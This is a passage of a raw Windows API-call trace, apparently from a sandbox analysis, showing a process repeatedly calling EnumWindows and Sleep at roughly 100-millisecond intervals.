[0227.683] Sleep (dwMilliseconds=0x64) [0227.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.685] Sleep (dwMilliseconds=0x64) [0227.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.687] Sleep (dwMilliseconds=0x64) [0227.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.688] Sleep (dwMilliseconds=0x64) [0227.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.690] Sleep (dwMilliseconds=0x64) [0227.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.692] Sleep (dwMilliseconds=0x64) [0227.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.704] Sleep (dwMilliseconds=0x64) [0227.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.708] Sleep (dwMilliseconds=0x64) [0227.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.710] Sleep (dwMilliseconds=0x64) [0227.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.711] Sleep (dwMilliseconds=0x64) [0227.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.712] Sleep (dwMilliseconds=0x64) [0227.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.714] Sleep (dwMilliseconds=0x64) [0227.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.715] Sleep (dwMilliseconds=0x64) [0227.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.717] Sleep (dwMilliseconds=0x64) [0227.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.719] Sleep (dwMilliseconds=0x64) [0227.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.721] Sleep (dwMilliseconds=0x64) [0227.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.723] Sleep (dwMilliseconds=0x64) [0227.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.725] Sleep (dwMilliseconds=0x64) [0227.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.726] Sleep (dwMilliseconds=0x64) [0227.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.728] Sleep (dwMilliseconds=0x64) [0227.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.729] Sleep (dwMilliseconds=0x64) [0227.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.731] Sleep (dwMilliseconds=0x64) [0227.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.771] Sleep (dwMilliseconds=0x64) [0227.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.780] Sleep (dwMilliseconds=0x64) [0227.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.789] Sleep (dwMilliseconds=0x64) [0227.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.826] Sleep (dwMilliseconds=0x64) [0227.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.835] Sleep (dwMilliseconds=0x64) [0227.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.914] Sleep (dwMilliseconds=0x64) [0227.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.917] Sleep (dwMilliseconds=0x64) [0227.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0227.990] Sleep (dwMilliseconds=0x64) [0228.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.005] Sleep (dwMilliseconds=0x64) [0228.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.105] Sleep (dwMilliseconds=0x64) [0228.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.221] Sleep (dwMilliseconds=0x64) [0228.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.223] Sleep (dwMilliseconds=0x64) [0228.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.225] Sleep (dwMilliseconds=0x64) [0228.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.227] Sleep (dwMilliseconds=0x64) [0228.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.229] Sleep (dwMilliseconds=0x64) [0228.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.231] Sleep (dwMilliseconds=0x64) [0228.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.233] Sleep (dwMilliseconds=0x64) [0228.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.234] Sleep (dwMilliseconds=0x64) [0228.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.237] Sleep (dwMilliseconds=0x64) [0228.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.239] Sleep (dwMilliseconds=0x64) [0228.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.240] Sleep (dwMilliseconds=0x64) [0228.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.241] Sleep (dwMilliseconds=0x64) [0228.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.244] Sleep (dwMilliseconds=0x64) [0228.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.246] Sleep (dwMilliseconds=0x64) [0228.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.250] Sleep (dwMilliseconds=0x64) [0228.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.252] Sleep (dwMilliseconds=0x64) [0228.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.254] Sleep (dwMilliseconds=0x64) [0228.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.256] Sleep (dwMilliseconds=0x64) [0228.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.258] Sleep (dwMilliseconds=0x64) [0228.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.260] Sleep (dwMilliseconds=0x64) [0228.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.262] Sleep (dwMilliseconds=0x64) [0228.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.263] Sleep (dwMilliseconds=0x64) [0228.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.265] Sleep (dwMilliseconds=0x64) [0228.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.339] Sleep (dwMilliseconds=0x64) [0228.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.389] Sleep (dwMilliseconds=0x64) [0228.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.401] Sleep (dwMilliseconds=0x64) [0228.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.410] Sleep (dwMilliseconds=0x64) [0228.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.420] Sleep (dwMilliseconds=0x64) [0228.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.430] Sleep (dwMilliseconds=0x64) [0228.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.506] Sleep (dwMilliseconds=0x64) [0228.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.515] Sleep (dwMilliseconds=0x64) [0228.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.581] Sleep (dwMilliseconds=0x64) [0228.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.586] Sleep (dwMilliseconds=0x64) [0228.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.588] Sleep (dwMilliseconds=0x64) [0228.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.589] Sleep (dwMilliseconds=0x64) [0228.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.591] Sleep (dwMilliseconds=0x64) [0228.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.592] Sleep (dwMilliseconds=0x64) [0228.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.594] Sleep (dwMilliseconds=0x64) [0228.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.595] Sleep (dwMilliseconds=0x64) [0228.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.597] Sleep (dwMilliseconds=0x64) [0228.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.598] Sleep (dwMilliseconds=0x64) [0228.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.600] Sleep (dwMilliseconds=0x64) [0228.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.601] Sleep (dwMilliseconds=0x64) [0228.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.604] Sleep (dwMilliseconds=0x64) [0228.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.621] Sleep (dwMilliseconds=0x64) [0228.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.691] Sleep (dwMilliseconds=0x64) [0228.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.735] Sleep (dwMilliseconds=0x64) [0228.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.737] Sleep (dwMilliseconds=0x64) [0228.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.739] Sleep (dwMilliseconds=0x64) [0228.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.741] Sleep (dwMilliseconds=0x64) [0228.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.742] Sleep (dwMilliseconds=0x64) [0228.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.744] Sleep (dwMilliseconds=0x64) [0228.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.745] Sleep (dwMilliseconds=0x64) [0228.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.747] Sleep (dwMilliseconds=0x64) [0228.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.749] Sleep (dwMilliseconds=0x64) [0228.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.750] Sleep (dwMilliseconds=0x64) [0228.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.753] Sleep (dwMilliseconds=0x64) [0228.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.755] Sleep (dwMilliseconds=0x64) [0228.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.756] Sleep (dwMilliseconds=0x64) [0228.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.759] Sleep (dwMilliseconds=0x64) [0228.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.783] Sleep (dwMilliseconds=0x64) [0228.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.786] Sleep (dwMilliseconds=0x64) [0228.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.788] Sleep (dwMilliseconds=0x64) [0228.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.790] Sleep (dwMilliseconds=0x64) [0228.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.793] Sleep (dwMilliseconds=0x64) [0228.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.795] Sleep (dwMilliseconds=0x64) [0228.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.797] Sleep (dwMilliseconds=0x64) [0228.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.799] Sleep (dwMilliseconds=0x64) [0228.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.802] Sleep (dwMilliseconds=0x64) [0228.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.804] Sleep (dwMilliseconds=0x64) [0228.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.805] Sleep (dwMilliseconds=0x64) [0228.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.808] Sleep (dwMilliseconds=0x64) [0228.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.810] Sleep (dwMilliseconds=0x64) [0228.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.812] Sleep (dwMilliseconds=0x64) [0228.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.813] Sleep (dwMilliseconds=0x64) [0228.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.815] Sleep (dwMilliseconds=0x64) [0228.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.816] Sleep (dwMilliseconds=0x64) [0228.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.818] Sleep (dwMilliseconds=0x64) [0228.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.819] Sleep (dwMilliseconds=0x64) [0228.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.821] Sleep (dwMilliseconds=0x64) [0228.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.823] Sleep (dwMilliseconds=0x64) [0228.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.824] Sleep (dwMilliseconds=0x64) [0228.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.826] Sleep (dwMilliseconds=0x64) [0228.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.828] Sleep (dwMilliseconds=0x64) [0228.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.830] Sleep (dwMilliseconds=0x64) [0228.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.832] Sleep (dwMilliseconds=0x64) [0228.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.833] Sleep (dwMilliseconds=0x64) [0228.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.835] Sleep (dwMilliseconds=0x64) [0228.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.838] Sleep (dwMilliseconds=0x64) [0228.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.840] Sleep (dwMilliseconds=0x64) [0228.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.841] Sleep (dwMilliseconds=0x64) [0228.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.843] Sleep (dwMilliseconds=0x64) [0228.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.844] Sleep (dwMilliseconds=0x64) [0228.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.847] Sleep (dwMilliseconds=0x64) [0228.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.849] Sleep (dwMilliseconds=0x64) [0228.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.850] Sleep (dwMilliseconds=0x64) [0228.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.853] Sleep (dwMilliseconds=0x64) [0228.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.855] Sleep (dwMilliseconds=0x64) [0228.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.856] Sleep (dwMilliseconds=0x64) [0228.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.858] Sleep (dwMilliseconds=0x64) [0228.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.860] Sleep (dwMilliseconds=0x64) [0228.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.861] Sleep (dwMilliseconds=0x64) [0228.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.863] Sleep (dwMilliseconds=0x64) [0228.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.865] Sleep (dwMilliseconds=0x64) [0228.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.867] Sleep (dwMilliseconds=0x64) [0228.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.876] Sleep (dwMilliseconds=0x64) [0228.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.885] Sleep (dwMilliseconds=0x64) [0228.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.887] Sleep (dwMilliseconds=0x64) [0228.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.888] Sleep (dwMilliseconds=0x64) [0228.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.890] Sleep (dwMilliseconds=0x64) [0228.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.892] Sleep (dwMilliseconds=0x64) [0228.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.894] Sleep (dwMilliseconds=0x64) [0228.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.895] Sleep (dwMilliseconds=0x64) [0228.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.897] Sleep (dwMilliseconds=0x64) [0228.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.898] Sleep (dwMilliseconds=0x64) [0228.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.900] Sleep (dwMilliseconds=0x64) [0228.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.901] Sleep (dwMilliseconds=0x64) [0228.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.903] Sleep (dwMilliseconds=0x64) [0228.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.906] Sleep (dwMilliseconds=0x64) [0228.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.909] Sleep (dwMilliseconds=0x64) [0228.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.910] Sleep (dwMilliseconds=0x64) [0228.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.912] Sleep (dwMilliseconds=0x64) [0228.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.914] Sleep (dwMilliseconds=0x64) [0228.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.916] Sleep (dwMilliseconds=0x64) [0228.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.917] Sleep (dwMilliseconds=0x64) [0228.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.919] Sleep (dwMilliseconds=0x64) [0228.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.921] Sleep (dwMilliseconds=0x64) [0228.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.944] Sleep (dwMilliseconds=0x64) [0228.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.946] Sleep (dwMilliseconds=0x64) [0228.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.948] Sleep (dwMilliseconds=0x64) [0228.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.949] Sleep (dwMilliseconds=0x64) [0228.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.951] Sleep (dwMilliseconds=0x64) [0228.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.953] Sleep (dwMilliseconds=0x64) [0228.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.955] Sleep (dwMilliseconds=0x64) [0228.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.956] Sleep (dwMilliseconds=0x64) [0228.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.959] Sleep (dwMilliseconds=0x64) [0228.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.961] Sleep (dwMilliseconds=0x64) [0228.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.963] Sleep (dwMilliseconds=0x64) [0228.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.980] Sleep (dwMilliseconds=0x64) [0228.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.997] Sleep (dwMilliseconds=0x64) [0228.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0228.999] Sleep (dwMilliseconds=0x64) [0229.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.001] Sleep (dwMilliseconds=0x64) [0229.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.003] Sleep (dwMilliseconds=0x64) [0229.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.005] Sleep (dwMilliseconds=0x64) [0229.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.006] Sleep (dwMilliseconds=0x64) [0229.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.009] Sleep (dwMilliseconds=0x64) [0229.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.010] Sleep (dwMilliseconds=0x64) [0229.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.012] Sleep (dwMilliseconds=0x64) [0229.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.014] Sleep (dwMilliseconds=0x64) [0229.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.026] Sleep (dwMilliseconds=0x64) [0229.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.031] Sleep (dwMilliseconds=0x64) [0229.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.033] Sleep (dwMilliseconds=0x64) [0229.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.035] Sleep (dwMilliseconds=0x64) [0229.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.037] Sleep (dwMilliseconds=0x64) [0229.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.038] Sleep (dwMilliseconds=0x64) [0229.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.041] Sleep (dwMilliseconds=0x64) [0229.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.043] Sleep (dwMilliseconds=0x64) [0229.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.044] Sleep (dwMilliseconds=0x64) [0229.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.047] Sleep (dwMilliseconds=0x64) [0229.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.049] Sleep (dwMilliseconds=0x64) [0229.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.051] Sleep (dwMilliseconds=0x64) [0229.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.053] Sleep (dwMilliseconds=0x64) [0229.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.054] Sleep (dwMilliseconds=0x64) [0229.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.056] Sleep (dwMilliseconds=0x64) [0229.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.058] Sleep (dwMilliseconds=0x64) [0229.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.060] Sleep (dwMilliseconds=0x64) [0229.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.062] Sleep (dwMilliseconds=0x64) [0229.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.063] Sleep (dwMilliseconds=0x64) [0229.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.065] Sleep (dwMilliseconds=0x64) [0229.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.067] Sleep (dwMilliseconds=0x64) [0229.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.069] Sleep (dwMilliseconds=0x64) [0229.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.072] Sleep (dwMilliseconds=0x64) [0229.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.074] Sleep (dwMilliseconds=0x64) [0229.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.075] Sleep (dwMilliseconds=0x64) [0229.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.077] Sleep (dwMilliseconds=0x64) [0229.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.079] Sleep (dwMilliseconds=0x64) [0229.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.080] Sleep (dwMilliseconds=0x64) [0229.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.082] Sleep (dwMilliseconds=0x64) [0229.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.084] Sleep (dwMilliseconds=0x64) [0229.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.086] Sleep (dwMilliseconds=0x64) [0229.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.088] Sleep (dwMilliseconds=0x64) [0229.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.090] Sleep (dwMilliseconds=0x64) [0229.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.092] Sleep (dwMilliseconds=0x64) [0229.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.094] Sleep (dwMilliseconds=0x64) [0229.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.097] Sleep (dwMilliseconds=0x64) [0229.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.099] Sleep (dwMilliseconds=0x64) [0229.119] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.120] Sleep (dwMilliseconds=0x64) [0229.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.122] Sleep (dwMilliseconds=0x64) [0229.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.124] Sleep (dwMilliseconds=0x64) [0229.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.125] Sleep (dwMilliseconds=0x64) [0229.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.128] Sleep (dwMilliseconds=0x64) [0229.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.129] Sleep (dwMilliseconds=0x64) [0229.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.131] Sleep (dwMilliseconds=0x64) [0229.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.132] Sleep (dwMilliseconds=0x64) [0229.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.134] Sleep (dwMilliseconds=0x64) [0229.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.136] Sleep (dwMilliseconds=0x64) [0229.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.138] Sleep (dwMilliseconds=0x64) [0229.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.139] Sleep (dwMilliseconds=0x64) [0229.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.142] Sleep (dwMilliseconds=0x64) [0229.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.144] Sleep (dwMilliseconds=0x64) [0229.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.146] Sleep (dwMilliseconds=0x64) [0229.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.148] Sleep (dwMilliseconds=0x64) [0229.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.150] Sleep (dwMilliseconds=0x64) [0229.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.152] Sleep (dwMilliseconds=0x64) [0229.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.155] Sleep (dwMilliseconds=0x64) [0229.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.156] Sleep (dwMilliseconds=0x64) [0229.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.158] Sleep (dwMilliseconds=0x64) [0229.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.159] Sleep (dwMilliseconds=0x64) [0229.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.161] Sleep (dwMilliseconds=0x64) [0229.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.163] Sleep (dwMilliseconds=0x64) [0229.164] EnumWindows (lpEnumFunc=0x423dd0, 